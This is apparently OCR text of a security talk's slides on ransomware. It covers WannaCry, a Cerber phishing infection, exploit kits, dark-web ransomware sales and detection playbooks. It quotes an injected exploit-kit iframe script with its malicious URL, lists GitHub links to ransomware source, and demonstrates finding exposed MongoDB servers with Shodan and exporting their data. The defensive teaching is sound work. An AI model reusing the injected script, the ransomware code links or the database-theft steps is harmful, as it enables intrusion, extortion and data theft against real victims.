
THE RANSOMWARE ODYSSEY:

Their Relevance and Their Kryptonite



Before We Begin






















A New Wave of Attacks

Infected victims send out scans looking for other windows PC's on the local network, propagating the worm.

The exploit WannaCry uses were created by the NSA [SMB Vuln], a patch was released by Microsoft

The AES key is encrypted using infection specific public key generated, the Master Key is needed to decrypt the file, currently only the public part has been analysis

WannaCry tries to load an infection specific public key "00000000.pky" if it doesn't exist, WannaCry uses "CryptoGenKey" to create a keypair

Double Pulsar/Eternal Blue reportedly developed by NSA, leaked by Shadowbrokers and exploited by Wannacry 2 months later. RCE type issues need expedited patch processes.

WANNACRY



The Game is Changing





Downloadable Ransomware

- https://github.com/mauri870/ransomware
- <u>https://github.com/goliate/hidden-tear</u>
- https://github.com/roothaxor/Ransom
- https://github.com/bitdust/WamaCry

1	Wama Decrypt0r 3.0	
	Ooops your files have been er	ncrypted!
Payment will be raised on: 24:00:00 Time Left:	What's wrong with my computer Some of your important files were save Photos, pictures, documents, compres exe files, etc., almost all types of files a not open normally. This is a fundamental difference betwee can find a way to restore the file on the not have the decryption service, even if documents. Is there a way to restore these do	d by my encryption sed packages, audio, video files, are encrypted, and therefore can en the general file damage, you Internet, I guarantee that we do God can not restore these
(5 : 34 : 30 Your files will be lost on: 2017-6-1:00:00 Time Left: (4d : (5 : 35	Of course there are recoverable metho our decryption service. To provide a sa But this is a charge, and can not be infin Please click the <decrypt> button and I some documents for free. Please rest But you want to restore all documents, y Whether it can be fixed at any time the</decrypt>	ds. Can only be restored through fe and effective recovery service nitely delayed have the opportunity to recover assured that I will never lie to you. you need to pay the cost.
About bitcoin How to buy bitcoins?		itcoin to this address: FEmGcyz3qEW19MVQn
Contact Us	Check Payment	Decrypt



Ransomware Evolution




Image 1. Ransomware evolution from 2014 to 2016

Own design for training Purposes




Attack vectors



Phishing emails

Web based attacks

- Drive by downloads /Exploits Kits (malvertising)
- Jboss (Samas), wordpress, Joomla





I got an email from Nigeria?



From: Mao Kolander <<u>transaction@larynx.co.uk</u>> Date: 16 December 2014 12:09:12 GMT

Subject: Note D-57022RI-4035

To:

This is an automatically generated email. Please do not reply as the email address is not monitored for received mail.

Notification Number: 8018817 Mandate Number: 4909927 Date: December 16, 2014. 12:47pm

In an effort to protect your Banking account, we have frozen your account until such time that it can be safely restored by you. Please view attached file "D-57022RI-4035.cab" for details.

Yours sincerely, Mao Kolander +07869 007210

Attachments: 🚼 D-57022RI-4035.cab (30 KB)




1-X COMICS ₩



PHISHING







• Subject "21735 Ssuitemangun"

B BitRecover EML Viewer			
File Edit View Help			
OPEN REFRESH SEARCH	Image: Constraint of the support Image: Constraint of the support Help Support Exit		
	Date From Descança de archivos Advertencia de seguridad de Descarga de archi ¿Desea guardar este archivo? Nombre: PT00126 Tipo: Tipo de archivo desconor De: C:\Users\Susan\AppData Gu Image: C:\Users\Susan\AppData Aunque los archivos procedentes de Intertion de archivo puede llegar a dañar el e origen, no guarde este software. ¿Cuál e S888237.zip	ocido ta\Local\Temp\bitrecov uardar Cancelar temet pueden ser útiles, este equipo: Si no confía en el	Subject 21735 ssuitemangum Date: 2
Ready	O 💐 📕 🖪	ES	▲ P () 19:36 23/04/2017



Processes in the background

• Zip file contains "js" file

Añadir Extrae	r en Comprolat	Ver Elim		nte Información	Buscar viru
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1	-	tamaño desco Comprimido	mprimido 8.499 bytes Tipo	Modificado	CRC32
3 8181.js	8,499	3.547	Disco local Archivo de secuen	23/04/2017 9:20	E1BEDFF7
3			Total 8.499 byte	s en 1 fichero	

- Loads
 - wscript.exe,schtasks.exe
- svchost.exe
 - taskeng.exe
 - Temporal file "iy0sz7tth.exe"

			<u>U</u>		
4 🔟 svchost.exe	816	0,02		17,11 MB	
4 💷 taskeng.exe	2504			1,07 MB	WIN-C2M2DRL\S
a 📰 iy0sz7tth.exe	3492	10,06	4,7 kB/s	1,29 MB	WIN-C2M2DRL\S
iy0sz7tth.exe	2340	26,51		2,09 MB	WIN-C2M2DRL\S
svchost.exe	¹⁰ 936	0.31	_	6.02 MB	
Then both disappear as a c	hild prov	NACE	0		



Location

Under C:\Users\USERID\AppData\Local\Temp


🕆 🌉 ProcessHacker.exe	2416	9,93	-	6,46 MB	W
B free-emlreader.exe	2288			12,32 MB	₩
iy0sz7tth.exe	2340	26,04		2,5 MB	W

• Later on we see taskeng.exe making reference to the temp file

a 💽 sychost.exe	815	0,03	17,09 MB		Proceso host para los servicio.
taskeng,e	xe 2504		1,04 MB	WIN-C2M2DRL\Susan	Motor de Programador de tar
sychost.exes	976	0.02	6.05 MB		Proceso host para los serviçio
E suchest av	taskeng.exe (E8859F51-			1-5-21-1053901442-31980	03138-161423469-1000:WIN
speelsv.ex	-C2M2DRL68J8\Susan: File:	Interactive	LUA[1]		e c
💽 sychost.ext	C:\Windows\System	d2/taskeng	g-exe		io
🔝 taskhost ex	Motor de Programa		as 6.1.7600.16385		d
4 📧 Searchinde	Microsoft Corporati	on.			do.
E SearchP	Tasks: CAUsers\Susan\App	Data\Loca	/\Temp\iy0sz7tth.exe (\b	(68f09p93)	Pr.,
🗿 🙆 🚺	Notes: Signer: Microsoft Wi	indows			+42 4/2




All files encrypted






Captcha???

Payment: Cap hxxp://p27dokhpz2n7nvgr.onion /7A25-8009-CEE7-0091-C5C7





Here comes the nightmare!

Select all images below that similar to this one: Click verify once there are none left.




Tap on all tiles with the pictures similar to the sample above. If new tiles appear with the similar pictures again, tap those as well. When there are no more similar pictures left, click Verify.


SE













1 day later...

unos neneros importantes nan siuo cinados:

Para decodificar sus ficheros deberá adquirir el software especial – «Cerber Decryptor».

Todas las operaciones deben ser realizadas solo a través de la red Obitcoin .

Dentro de 5 días usted podrá adquirir este producto a un precio especial: ₿ 1.000 (≈ \$1236).

Después de 5 días, el precio de este producto se incrementará hasta: ₿ 2.000 (≈ \$2473). having any other questions, please contact us via the contact form:

🔊 🔊 Support

Date	Message	Туре
24/4/2017 01:14:00	Hello I do not have the full \$2000 however I can pay \$500, I wonder if you guys can take that amount	Question
24/4/2017 07:38:40	Sorry, but we can not give you a discount.	 Answer
24/4/2017 07:38:50	After payment you will get a link for downloading of Cerber Decryptor. It will decrypt all your files!!!	✓ Answer



Behind the scenes snfE021.tmp • Temporary file call: snfE021.tmp

1																	
Offset	0	1	2	3	4	- 5	6	- 7	8	- 9	A	В	С	D	Ε	F	Ascii
00000120	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000130	63	82	53	63	35	01	03	3D	07	01	00	0C	29	B7	53	D9	c∎Sc5 └=● .∎)·SÙ
00000140	0C	0F	57	49	4E	2D	35	4D	41	47	48	4 A	37	41	55	41	∎¢WIN-5MAGHJ7AUA
00000150	54	51	12	00	00	00	57	49	4E	2D	35	4D	41	47	48	4 A	TÇ1WIN-5MAGHJ
00000160	37	41	55	41	54	3C	08	4D	53	46	54	20	35	2E	30	37	7AUAT<⊡MSFT.5.07
00000170	OC.	01	0F	03	06	2C	2E	2F	1F	21	79	F9	2B	\mathbf{FF}	18	00	 ⊉└ ─,.∕ !yù+ÿ↑.
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00000190	ÅΆ	ΑO	00	0C	29	Β7	53	D9	45	10	01	48	00	00	00	00	ª .∎)·SÙE+ H
000001A0	10	11	4 A	ΒE	C0	Α8	6E	FE	C0	Α8	6E	88	00	43	00	44	∔ ∢J¾À¨nþÀ¨n∎.C.D
000001B0	01	34	DF	75	02	01	06	00	23	79	02	72	00	00	00	00	_4Bu ₇ −.#y ₇ r
000001C0	CO	Α8	6E	88	C0	Α8	6E	88	C0	Α8	6E	FE	00	00	00	00	Å n∎Å n∎Å nþ
000001D0	00	0C	29	Β7	53	D9	00	00	00	00	00	00	00	00	00	00	.∎)·SŨ
000001E0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
000001F0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000200	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000210	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00000220	nn	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	ΠN	nn	



Malicious domain • DGA domain

hxxp://sedwrfaawsa4.xyz/search.

00001180 00001140 00001180 00001100 00001100 00001100 00001200 00001200 00001200 00001200 00001200 00001200 00001260 00001260 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280 00001280	20 4 48 4 41 0 00 0 7C E 2 9 6E 8 01 0 56 E 00 0 78 7 00 0 6D 0 6D 0 6D 0 6D 0 6D 0 6D 0 6D 0	00 01 19 0C 19 0C 15 00 15 00 10 CO 11 CO 12 CO 13 CO 14 CO 15 CO 16 CO 17 CO 18 CO 10 18 10 29	45 45 200 BD 00 A8 01 04 04 04 04 04 04 05 58 88 55 55 55 55 55 55 55 5	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	FA 00 34 E5 29 C0 C6 77 00 4D 00 00 00 00 00 00 00 00 00 0	UU 435 45000 00000 00000 00000 00000 00000 00000 0000	UU 4E 42 00 00 78 66 60 00 00 78 66 00 00 00 00 00 00 00 00 00 00 00 00	U1 44 46 200 87 80 80 80 80 80 80 80 80 80 80 80 80 80	00 46 35 00 74 35 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00	00 45 45 00 00 11 27 00 80 70 27 00 80 70 26 55 05 55 05 05 55 80 00 80 00 55 55 80 00 80 00 55 55 55 55 55 55 55 55 55 55 55 55	UU 4E 42 00 00 5E 65 00 65 00 65 00 65 00 00 00 00 00 00 00 00 00 00 00 00 00	$\begin{array}{c} 0 \\ 0 \\ 4 \\ 5 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0 \\ 0$	00425 005 005 005 005 005 005 005 0	01 441 EB7 22 03 03 00 00 613 ACCCC140 32 32 03 00 00 613 10 00 10 10 10 10 10 10 10 10 10 10 10	.L 9 50. .FHEJEOCNDFENEBE HEIEKDHEBFFEBFEA A, À, J. , À.n.↑.>U. ,9%C).SÙ.PVà À.E>Gî
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Behind the scenes yv4msi53p.exe

CFF Explorer VIII - [yv4msi53p.exe]

File Settings ?

	K		B		6
E	₹ -₽	8	Dos Hea Nt Head	ers	e
			 Import D Section Import D Resource Relocati Address Depend Depend Identifi Import Quick I Rebuild 	inal Heade lata Directory irectory on Directory on Director s Conver dency W litor er Adder Disasser	ories [x] k] ny ny ter alker
			UPX U		

snfE021.tmp	yv4msi53p.exe			
Member	Offset	Size	Value	Meaning
Machine	000000E4	Word	014C	Intel 386
NumberOfSections	00000E6	Word	0003	
TimeDateStamp	00000E8	Dword	58DABF34	
PointerToSymbolT	00000EC	Dword	0000000	
NumberOfSymbols	000000F0	Dword	0000000	
SizeOfOptionalHea	000000F4	Word	00E0	
Characteristics	000000F6	Word	0102	Click here

Line numbe Local symbo	info stripped fr rs stripped fro ols stripped fro	n file m file			
App can ha Bytes of ma 32 bit word Debugging If Image is File should	trim working s ndle >2gb add achine word are machine info stripped fr on removable r on Net, copy a only be run on achine word are	ress spa e revers om file i media, c nd run i a UP ma	ed (low) in .DBG fil copy and from the s achine	run from the swap file	e swar
	ОК		Cance		

> 🧶 🖏	Member	Offset	Size	Value	Meaning	
File: yv4msi53p.exe I Dos Header	Magic	000000F8	Word	010B	PE32	
🗉 Nt Headers	MajorLinkerVersion	000000FA	Byte	09		
🗉 File Header 	MinorLinkerVersion	000000FB	Byte	00		
Data Directories [x]	SizeOfCode	000000FC	Dword	00025800		
- 🔳 Section Headers [x] - 🧰 Import Directory	SizeOfInitializedData	00000100	Dword	00009800		
Contraction	SizeOfUninitializedData	00000104	Dword	00000000		
Contraction Directory Mathematical Address Converter	AddressOfEntryPoint	00000108	Dword	00001000	.text	
· Scholer Converter	BaseOfCode	0000010C	Dword	00001000		
Hex Editor	BaseOfData	00000110	Dword	00027000		
· 🐁 Identifier · 🐁 Import Adder	ImageBase	00000114	Dword	00400000		
🐁 Quick Disassembler	SectionAlignment	00000118	Dword	00001000		
· 🐁 Rebuilder · 🐁 Resource Editor	FileAlignment	0000011C	Dword	00000200		DIICharacteristics
🐁 UPX Utility	MajorOperatingSystemVers	00000120	Word	0005		DLL can move
	MinorOperatingSystemVer	00000122	Word	0000		Code Integrity Image
	MajorImageVersion	00000124	Word	0000		Image understands isolation and doesn't want it Image does not use SEH
	MinorImageVersion	00000126	Word	0000		Do not bind this image Driver uses WDM model
	MajorSubsystemVersion	00000128	Word	0005		Terminal Server Aware
	MinorSubsystemVersion	0000012A	Word	0000		
	Win32VersionValue	0000012C	Dword	00000000		
	SizeOfImage	00000130	Dword	00035000		
	SizeOfHeaders	00000134	Dword	00000400		
	CheckSum	00000138	Dword	0001 F908		
	Subsystem	0000013C	Word	0002	Windows GUI	OK Cancel
	DIICharacteristics	0000013E	Word	8040	Click here	
	SizeOfStackReserve	00000140	Dword	00100000		
	SizeOfStackCommit	00000144	Dword	00001000		
	SizeOfHeapReserve	00000148	Dword	00100000		
	SizeOfHeapCommit	0000014C	Dword	00001000		
	LoaderFlags	00000150	Dword	00000000		
	NumberOfRvaAndSizes	00000154	Dword	00000010		




Dependency walker

: Settings ?	snfE021.tmp yv4msi53p.exe			
🔌 🤳		Property	Value	
	Image: Second Stress	File Name File Type File Info File Size PE Size Created Modified Accessed	Value C:\Windows\system32\API-MS-Win-Core-RtISupport-L1-1-0.dll Portable Executable 32 No match found. 3.00 KB (3072 bytes) 3.00 KB (3072 bytes) Saturday 22 April 2017, 15.43.22 Thursday 04 October 2012, 10.40.37 Saturday 22 April 2017, 15.43.22	
	 API-MS-Win-Core-NamedPipe-L1-1-0.dll API-MS-Win-Core-Misc-L1-1-0.dll API-MS-Win-Core-SysInfo-L1-1-0.dll API-MS-Win-Core-Localization-L1-1-0.dll API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll API-MS-Win-Core-String-L1-1-0.dll API-MS-Win-Core-String-L1-1-0.dll 	MD5 SHA-1 Property	2A1A2C962BB789EF8EE8CF8CB8F100C0 6731F1AAFA2DB1DB8B8CF49DFF3310C239B3026C Value	
— 🐁 UPX Utility	표···· • API-MS-Win-Core-Debug-L1-1-0.dll 표···· · · · · · · · · · · · · · · · · ·	CompanyName	Microsoft Corporation	
	🗄 🖷 🛐 API-MS-Win-Core-Fibers-L 1-1-0.dll	FileDescription	ApiSet Stub DLL	
	API-MS-Win-Core-Util-L1-1-0.dll	FileVersion	6.1.7601.17965 (win7sp1_gdr.121004-0333)	
		InternalName	apisetstub	
		LegalCopyright	© Microsoft Corporation. All rights reserved.	
		OriginalFilenam	ne apisetstub	
		ProductName	Microsoft® Windows® Operating System	



Exploits Kits



Sundown EK "Eltest Campaign" ElTest script from compromised website









Activa Clinics

🗗 http://activaclinics.com/ - Original Source	
File Edit Format	
<pre>1187 1188 <script type="text/javascript"> Cufon.now(); </script> 1189</pre>	•
<pre>1190 <body> </body> 1191 <body> </body> 1191 <script type="text/javascript"> var vhinm = "iframe"; var copqcaq = document.createElement (vhinm); var aayet = ""; copqcaq.style.width = "6px"; copqcaq.style.height = "6px"; copqcaq.style.border = "0px"; copqcaq.frameBorder = "0"; copqcaq.setAttribute("frameBorder", "0"); document.body.appendChild(copqcaq); aayet = "http://hco.huc.mobi/index.php?z3HbOH2_tdcCHS- bjw=uHq6NT6ghKcCHi3agvcY9VmN0Jc09RQ9-QaomVZiIwynksmzx7R3FjFM"; copqcaq.src = aayet; </script></pre>	
	•




PCAP traffic

Filter: http.request or	udp.port eq 6892		 Expression Clear Apply Save Filter
Date/Time	Dst	por Host	Info
2017-01-19 23:18:47	50.62.37.1	80 activaclin	nics.com GET / HTTP/1.1
2017-01-19 23:18:49	93.190.143.82	80 hco.huc.mo	Dbi GET /index.php?z3HbOH2_tdcCHS-bjw=uHq6NT6ghKcCHi3agvcY9VmNOJc09RQ9-QaomVZ:
2017-01-19 23:18:50	93.190.143.82	80 hco.huc.mo	obi GET /7/?9643522803 HTTP/1.1
2017-01-19 23:18:50	93.190.143.82	80 hco.huc.mo	obi GET /7/?947545190441&id=265 HTTP/1.1
2017-01-19 23:18:51	93.190.143.82	80 hco.huc.mo	obi GET /7/?78493521 HTTP/1.1
2017-01-19 23:18:53	93.190.143.82	80 hco.huc.mo	obi GET /bvfhjgejhfrg.png HTTP/1.1
2017-01-19 23:18:54	93.190.143.82	80 hxrheg.fve	e.mobi GET /@@@.php?id=265 HTTP/1.1
2017-01-19 23:19:02	90.2.1.0	6892	Source port: 50025 Destination port: 6892
2017-01-19 23:19:02	90.2.1.1	6892	Source port: 50025 Destination port: 6892
2017-01-19 23:19:02	90.2.1.2	6892	Source port: 50025 Destination port: 6892
2017-01-19 23:19:02	90.2.1.3	6892	Source port: 50025 Destination port: 6892
2017-01-19 23:19:02	90.2.1.4	6892	Source port: 50025 Destination port: 6892
2017-01-19 23:19:02	90.2.1.5	6892	Source port: 50025 Destination port: 6892
2017 01 10 22.10.02	00 2 1 6	6000	Course ment. E000E Destination ment. 6000



Ransomware Variants





Philadelphia or Stampado



Stampado Ransomware FUD CHEAPEST ONLY 39 LIFETIME LICENSE

pwoah6flbuhl6kze.onion/listing.php?id=181509 Alphabay

Stampado Ransomware You always wanted a Ransomware but never wanted to pay hundreds of dollars for it This list is for you Stampado is a cheap and easy to manage ransomware developed by me and my team It s meant to be really easy to use You II not need a host All you will need is an email account The file can be sent in the following formats exe bat dll scr and cmd You can also use binders packers...

Vendor	Price	Location
<u>The_Rainmaker</u> (0)	B 0.05990875	Worldwide

Bitcoin Bansomware w Sourcecode




is the best option for you.




Philadelphia Ransomware - FUD -NEW VERSION 1.36.2 - CHEAP - ALL AUTOMATIC - UNDECRYPTABLE -UPDATED + BONUS! - 20% OFF -DISCOUNT - LIMITED OFFER

Philadelphia Ransomware - The Most Advanced and Customisable you've Ever Seen VIDEO: https://vid.me/Plfj Conquer your Independence with Philadelphia Ransomware! Version: 1.36.2 -UPDATE 13th March Get an Advanced and Customisable Ransomware at a Full Lifetime License! Philadelphia innovates the Ransomware Market by presenting several Features that makes it possible to manage a V...



Desiduat alars	Features	Features		
Product class	Digital go	Worldwide		
Quantity left	1 items	Ships to	Worldwide	
Ends in	Never	Payment	Escrow	
Default - 1 days -	USD +0.00 /	item		
Purchase price: U	JSD 309.00			
-	D Marrie			
Qty: 1	Buy Now	8		

Tall, dark and ransom






WE HAVE TO PAY HOW MUCH??

WE HAVE TO PAY HOW MUCH??





AMOUNTS DEMANDED BY RANSOMWARE PERPETRATORS IN USA




Hasta la vista, Ransomware!






Latch ARW.




Can we ever win the fight against ransomware?



INFOSEC around the world



Truth must be told....



...we are all out of jobs without them.



Threat Intelligence for Ransomware





What Are We Up Against?

<u>Jigsaw</u>


- Deletes files periodically until ransom is paid
- Demands \$150 in BTC
- Can potentially be purchased on dark web

<u>KillDisk</u>

- Linux Variant
- Demands that user pays 222 bitcoin
- Does not store decryption keys (bye bye data)



What Are We Up Against?





What's Under The Hood?

• Encryption Functions

- Searches for file extensions
- Leveraging open encryption standards
- %UserProfile%\AppData\Roaming\System32Work\EncryptedFileList.txt
- Persistence Functions
 - Add registry key
 - HKCU\Software\Microsoft\Windows\CurrentVersion\Run\firefox.exe %UserProfile%\AppData\Roaming\Frfx\firefox.exe
 - Add to autorun list
 - Delete 1k files of encrypted files on startup



What Are We Up Against?

<u>Jigsaw</u>

- Demands \$150 in BTC
- Deletes files periodically until ransom is paid
- Can potentially be purchased on dark web

<u>KillDisk</u>

- Windows and Linux Variant
- Demands that user pays 222 bitcoin
- Does not store decryption keys (bye bye data)



What Are We Up Against?

GNU GRUB version 2.02~beta2-9ubuntu1.12

*We are so sorry, but the encryption

of your data has been successfully completed, so you can lose your data or pay 222 btc to 1Q94RXqr5WzyNh9Jn3YLDGeBoJhxJBigcF with blockchain.info contact e-mail:vuyrk568gou@lelantos.org

Use the \uparrow and \downarrow keys to select which entry is highlighted. Press enter to boot the selected OS, 'e' to edit the commands before booting or 'c' for a command-line.




What's Under The Hood? (Linux variant)

- Encryption Functions
 - Recursively traverses the root directory up to 17 subdirectories deep
 - Files encrypted using Triple-DES
 - Encrypts each file with a unique set of encryption keys
- Persistence Functions
 - Overwrites bootloader entry
 - GRUB displays ransom message



Ransomware Kill Chain







Collect, Detect, Respond

- Ingest open source feeds and ensure all data types are being collected
- Leverage existing security architecture to feed existing threat intel platform and analytical processes
- Create custom analytics to make intelligence actionable
- Incident response playbooks that cover feeding intelligence back into platform







Rating Your Threat Intel Feeds









To Build or Not To Build







Analytic Engine






Creating Analytics

• Email:

- Blacklist To/From sender and IP Address
- Total IOC score from all threat sources weighted on confidence from each source
- Network Communications:
 - Blacklist Network IOCs
 - Total IOC score from all threat sources weighted on confidence from each source
 - Anomalous HTTP/DNS Detection (Payload size, Frequency Extraction, DGA)
- Endpoint
 - Blacklist File Extensions
 - YARA
 - Rapid attempts to create, modify, and access files





Creating Playbooks


- Determine Ransomware Infection
 - If device is infected, is it ransomware?
- Investigate Infection Delivery
 - Email, exploit kit, ect..
 - Search for other malicious artifacts
- Scope Incident
 - Identify malicious binary
 - Identify encrypted or ransomed files
- Protect against it
 - UPDATE SOFTWARE
 - Blocking IOCs
 - Tuning Analytics
 - Security training
- Recover
 - Verify that infection has not spread or remains
 - Restore from backup if possible



Aftermath







0

05

USE!

Sat Jan 07 10:41:27 -0500 2017

0B

supergroup.



Hadoop, 2014.

drwxrwxr-x

hdfs

Motivation Behind These Attacks










MongoDB Documentation (Defcon 21 ->



For additional information and considerations on security, refer to the documents in the Security Section, specifically:

- Security Checklist
- MongoDB Configuration Hardening
- Hardening Network Infrastructure



Recon

TOP COUNTRIES


It's the Data, Stupid

returned 29,980 results on 18-07-2015 Search for



Top Countries

1. United States	12,649
2. China	4,698
3. France	1,341
4. Russian Federation	1,160
5. Netherlands	1,129
6. Germany	865
7. United Kingdom	805
8. Japan	775
9. Singapore	723
10. Brazil	640




United States	15,097
China	10,502
Germany	2,359
France	2,226
Netherlands	1,781

2015

2017




Recon






Recon





Think & Act As If You're The Attacker





My Mindset When Investigating! def attacker ():

print("Who, What, Where, Why & How")

attacker()



Know Your Hackers and Groups Expand Your Network






Profiling The Attackers Mindset


- You must understand the people that will go after your Company
- What do they want:
- IP?
- User Data?
- Money?
- Bragging Rights?
- Ask yourself if I was an attacker what would I go after, How would I break into the environment.
- Offensive thinking is the best Defense A lot of the times products are not rolled out properly!



Going After the MongoDB









Finding The Right Service

		@gmail.com>
t j	-	



I'm looking to start off with 1 virtual server and then add more servers. If my IP address are blocked by a transit provider can I get a dynamic IP.





I didn't see that coming

to me 🖃

Dear Mr.

Thank you for your message to

DataCenters.

Well, it is not our intention to encourage you nor our job to teach you how to hide your identity on the Internet. However many of our customers use their server is such a way that their IP is never shown. It is always someone else that gets the blame, if you know what I mean.

If you would do that then no provider can stop you.

If you have any more questions or you would like to reply to this email then please mail to: info@

Regards,





Building a scanner









Just Use Shodan

product:"MongoDB" country:"ru"





The One Question?

					t=27017					· _									
insert	query	update	delete	getmore	command	flushes	mapped	vsize	res						net_out				time
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*0	*0	*0	*0	Θ	2 0	Θ		344M	30.0M	Θ								12:16:19	
*0	*0	*0	*0	0	1 0	Θ		344M	30.0M	0	.:0.0%	0 0	0 0	149b	6.09k	1 May	29	12:16:20).579
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*0	*0	*0	*0	0	1 0	Θ		344M	30.0M	Θ	.:0.0%	0 0	0 0	157b	6.40k	1 May	29	12:16:22	2.180
*0	*0	*0	*0	0	1 0	Θ		344M	30.0M	0	.:0.0%	0 0	0 0	112b	4.59k	1 May	29	12:16:23	3.582
*0	*0	*0	*0	0		Θ		344M	30.0M	0	.:0.0%	0 0	0 0	182b	7.45k	1 May	29	12:16:24	4.447
*0	*0	*0	*0	0	2 0	Θ		344M	30.0M	0	.:0.0%	0 0	0 0	166b	6.77k			12:16:25	
*0	*0	*0	*0	0	2 0	Θ		344M	30.0M	0	.:0.0%	0 0	0 0	205b	8.36k	1 May	29	12:16:26	5.168
*0	*0	*0	*0	0	10	Θ		344M	30.0M	0	WRITE_ME:0.0%	0 0	0 0	136b	5.58k	1 May	29	12:16:27	7.322
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*0	*0	*0	*0	0	3 0	1		344M	30.0M	0	.:0.0%	0 0	0 0	248b	10.2k			12:16:34	
*0	*0	*0	*0	0	10	0		344M	30.0M	0	.:0.0%	0 0	0 0	131b	5.36k	2 May	29	12:16:35	5.377
*0	*0	*0	*0	Θ	10	0		344M	30.0M	0	.:0.0%	0 0	0 0	149b	6.09k	2 May	29	12:16:36	5.435
*0	*0	*0	*0	0	1 0	Θ		344M	30.0M	0	.:0.0%	0 0	0 0	135b	5.52k	2 May	29	12:16:37	7.601
AC2017	AE 201	12.16.1	20 116 0	700 ci	anal lin	terrunt	cocoju	ad. for	coful1	y torm	insting								


AC2017-05-20T12:16:38 116-0700 signal 'interrupt' received: forcefully termination



Holding The Data Hostage

GNU nano 2.5.3	File: steal_that_shit.json		
<pre>"_id":{"\$oid":"592cdc3d733dd9a39a193f9d"} "_id":{"\$oid":"592cdc3d733dd9a39a193f9e"} "_id":{"\$oid":"592cdc3d733dd9a39a193f9f"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa0"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa1"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa2"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa3"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa3"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa3"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa3"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa3"} "_id":{"\$oid":"592cdc3d733dd9a39a193fa3"}</pre>	"address": ["building": "469", "coord": [-73.961 "address": {"building": "351", "coord": [-73.985 "address": {"building": "2780", "coord": [-73.98 "address": {"building": "97-22", "coord": [-73.88 "address": {"building": "8825", "coord": [-73.88 "address": {"building": "2206", "coord": [-74.13 "address": {"building": "2206", "coord": [-73.96	6077,40.848447],"street":"Morris Park Ave","zipcode":"10462 704,40.662942],"street":"Flatbush Avenue","zipcode":"11225" 13559999999,40.7676919],"street":"West 57 Street","zipcode 2419999999999,40.579505],"street":"Stillwell Avenue","zipcode 601152,40.7311739],"street":"63 Road","zipcode":"11374"],"b 03827,40.7643124],"street":"Astoria Boulevard","zipcode":"1 77286,40.6119572],"street":"Victory Boulevard","zipcode":"1 68506,40.6199034],"street":"Avenue U","zipcode":"11234"},"b 528899999999,40.628886],"street":"14 Avenue","zipcode":"12	<pre>}, "borough": "Brooklys' e":"10019"}, "boroughs' e":"11224"}, "boroughs' orough":"Queens", "cus' 1369"}, "borough":"Qus' 0314"}, "borough":"Sts' orough":"Brooklyn", "\$</pre>
s:~\$ mongoexp	ort -d stealthis -c restauran	ts -o /tmp/steal_that_shit.json	
2017-05-29T19:50:18.993-070			
2017-05-29T19:50:20.011-070	9 [.] stealthis.restaurants 0/25359 (0.	.0%)
2017-05-29T19:50:21.031-070	9 [####################################		
2017-05-29T19:50:21.177-070) [####################################		
2017-05-29T19:50:21.177-070	exported 25359 records	-	
<pre>"_id" :{"\$oid" :"592cdc3d733dd9a39a193fb2"] "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb3"} "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb5"] "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb6"] "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb6"] "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb6"] "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb6"] "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb8"] "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb8"] "_id" :{"\$oid" :"592cdc3d733dd9a39a193fb8"] "_id" :{"\$oid" ::"592cdc3d733dd9a39a193fb8"] "_id" :{"\$oid" ::"592cdc3d733dd9a39a193fc8"] "_id" :{"\$oid" ::"592cdc3d733dd9a39a193fc3"] "_id" :{"\$oid" ::"592cdc3d733dd9a39a193fc3"] "_id" :{"\$oid" ::"592cdc3d733dd9a39a193fc8"] "_id" ::"\$oid" ::"592cdc3d</pre>	<pre>"address" {"building" "3406", "coord" [-73.94 "address" {"building" "502", "coord" [-73.976 "address" {"building" "700", "coord" [-73.963 "address" {"building" "18", "coord" [-73.963 "address" {"building" "18", "coord" [-73.963 "address" {"building" "103-05", "coord" [-73.963 "address" {"building" "103-05", "coord" [-73.963 "address" {"building" "103-05", "coord" [-74.0085 "address" {"building" "105", "coord" [-73.924 "address" {"building" "106", "coord" [-73.944 "address" {"building" "106", "coord" [-73.944 "address" {"building" "106", "coord" [-73.9914 "address" {"building" "106", "coord" [-73.9914 "address" {"building" "120", "coord" [-73.9914 "address" {"building" "1405", "coord" [-73.9914 "address" {"building" "1405", "coord" [-73.9914 "address" {"building" "7005", "coord" [-73.975 "address" {"building" "7005", "coord" [-73.975 "address" {"building" "1418", "coord" [-73.975 "address" {"building" "1418", "coord" [-73.975 "address" {"building" "1418", "coord" [-73.975 "address" {"building" "1301", "coord" [-73.975 "address" {"building"</pre>	<pre>5306,40.7309346],"street":"Broadway","zipcode":"10003"],"bo 024739999999,40.7623288],"street":"10 Street","zipcode":"11 112,40.786714],"street":"Amsterdam Avenue","zipcode":"10024 05719999999,40.7925587],"street":"Columbus Avenue","zipcode 84,40.72589],"street":"West Houston Street","zipcode":"1001 4876,40.6940001],"street":"Avenue","zipcode":"11205" 8642349,40.75356],"street":"37 Avenue","zipcode":"11368"}," 357,40.7062053999999],"street":"Wall Street","zipcode":"10 6028,40.6522396],"street":"East 56 Street","zipcode":"10 